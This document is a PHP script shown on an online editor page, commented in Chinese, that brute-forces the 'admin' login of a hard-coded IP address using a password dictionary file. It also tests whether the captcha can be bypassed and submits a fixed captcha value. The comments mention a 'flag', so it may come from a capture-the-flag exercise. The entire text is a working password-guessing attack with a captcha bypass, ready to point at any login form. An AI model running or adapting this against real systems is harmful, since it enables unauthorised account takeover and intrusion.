Online PHP editor | output for GtVpU

<?php // ================== 配置参数 ================== $target_url = 'http://133.0.215.85/login.php'; // ← 修改为实际目标地址 $username = 'admin'; // 登录用户名 $dict_file = 'dic.txt'; // 字典文件路径（解压 dic.zip 得到） $success_keyword = 'Hello'; // 成功响应中的关键字（如 "Welcome", "flag", "success" 等） // 创建 cURL 句柄并设置选项 function create_curl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, []); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_COOKIESESSION, true); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt'); // 保存 Cookie curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt'); // 携带 Cookie curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'); return $ch; } // 检查验证码是否必须？可尝试先用空值测试 function is_captcha_required($test_url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $test_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'username' => 'admin', 'password' => 'wrongpass', 'code' => '' // 空验证码 ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $response = curl_exec($ch); curl_close($ch); // 如果返回内容不包含“验证码错误”，说明可能被忽略 return stripos($response, '验证码') !== false || stripos($response, 'code') !== false; } // ================== 主程序开始 ================== if (!file_exists($dict_file)) { die("[❌] 字典文件 {$dict_file} 不存在！请确认已下载 dic.zip 并解压。\n"); } $lines = file($dict_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (!$lines) { die("[❌] 字典文件为空！\n"); } echo "[*] 开始爆破登录...\n"; echo "目标: {$target_url}\n"; echo "用户: {$username}\n\n"; $ch = create_curl($target_url); foreach ($lines as $pwd) { $pwd = trim($pwd); if (empty($pwd)) continue; // 假设验证码可绕过（留空或任意值） $post_data = [ 'username' => $username, 'password' => $pwd, 'code' => '1234' // 尝试固定值；若失败可改为 '' 或从 create_code.php 获取 ]; curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); $response = curl_exec($ch); if ($response === false) { echo "[⚠️] 请求出错: " . curl_error($ch) . "\n"; continue; } // 判断是否成功 if (stripos($response, $success_keyword) !== false) { echo "[✅] 爆破成功！\n"; echo "用户名: {$username}\n"; echo "密码: {$pwd}\n"; echo "响应片段: " . substr(strip_tags($response), 0, 200) . "...\n"; break; } else { echo "[✗] 尝试失败: {$pwd}\n"; } } curl_close($ch); echo "\n[✔] 爆破结束。\n"; ?>